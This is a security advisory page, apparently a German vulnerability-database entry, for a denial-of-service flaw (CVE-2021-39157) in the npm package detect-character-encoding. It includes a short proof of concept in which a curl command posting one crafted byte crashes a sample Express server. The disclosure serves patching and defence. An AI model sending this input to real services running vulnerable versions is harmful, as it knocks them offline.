Improper Handling of Exceptional Conditions in detect-character-encoding
Impact
In detect-character-encoding v0.6.0 and earlier, data matching no charset causes the Node.js process to crash.
Patches
The problem has been patched in detect-character-encoding v0.7.0.
CVSS score
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/RL:O/RC:C
Base Score: 7.5 (High) Temporal Score: 7.2 (High)
Since detect-character-encoding is a library, the scoring is based on the “reasonable worst-case implementation scenario”, namely, accepting data from untrusted sources over a network and passing it directly to detect-character-encoding. Depending on your specific implementation, the vulnerability’s severity in your program may be different.
Proof of concept
const express = require("express");
const bodyParser = require("body-parser");
const detectCharacterEncoding = require("detect-character-encoding");
const app = express();
app.use(bodyParser.raw());
app.post("/", (req, res) => {
const charsetMatch = detectCharacterEncoding(req.body);
res.end(charsetMatch.encoding);
});
app.listen(3000);printf "\xAA" | curl --request POST --header "Content-Type: application/octet-stream" --data-binary @- http://localhost:3000 crashes the server.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| npm-Paket | detect-character-encoding | < 0.7.0 | 0.7.0 |
Verweise
- https://github.com/sonicdoe/detect-character-encoding/security/advisories/GHSA-jqfh-8hw5-fqjr
- https://nvd.nist.gov/vuln/detail/CVE-2021-39157
- https://github.com/sonicdoe/detect-character-encoding/issues/15
- https://github.com/sonicdoe/detect-character-encoding/commit/992a11007fff6cfd40b952150ab8d30410c4a20a
- https://github.com/sonicdoe/detect-character-encoding
- https://github.com/sonicdoe/detect-character-encoding/releases/tag/v0.7.0
- CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H- Schwäche (CWE)
CWE-755- Plattform
- npm
- Paket
detect-character-encoding- Veröffentlicht
- 25.08.2021
- Aktualisiert
- 11.10.2026 10:22
Quellen und Lizenzen
OSV / GitHub Advisory Database - GHSA-jqfh-8hw5-fqjr - CC BY 4.0
Schwachstellenhistorie: detect-character-encoding
Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 2
- Erste → letzte
- 08.2021 09.2021
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Hoch 2
Veröffentlichungen pro Jahr
- 2021: 2
- 2022: 0
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 0
-
Improper Handling of Exceptional Conditions in detect-character-encoding dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.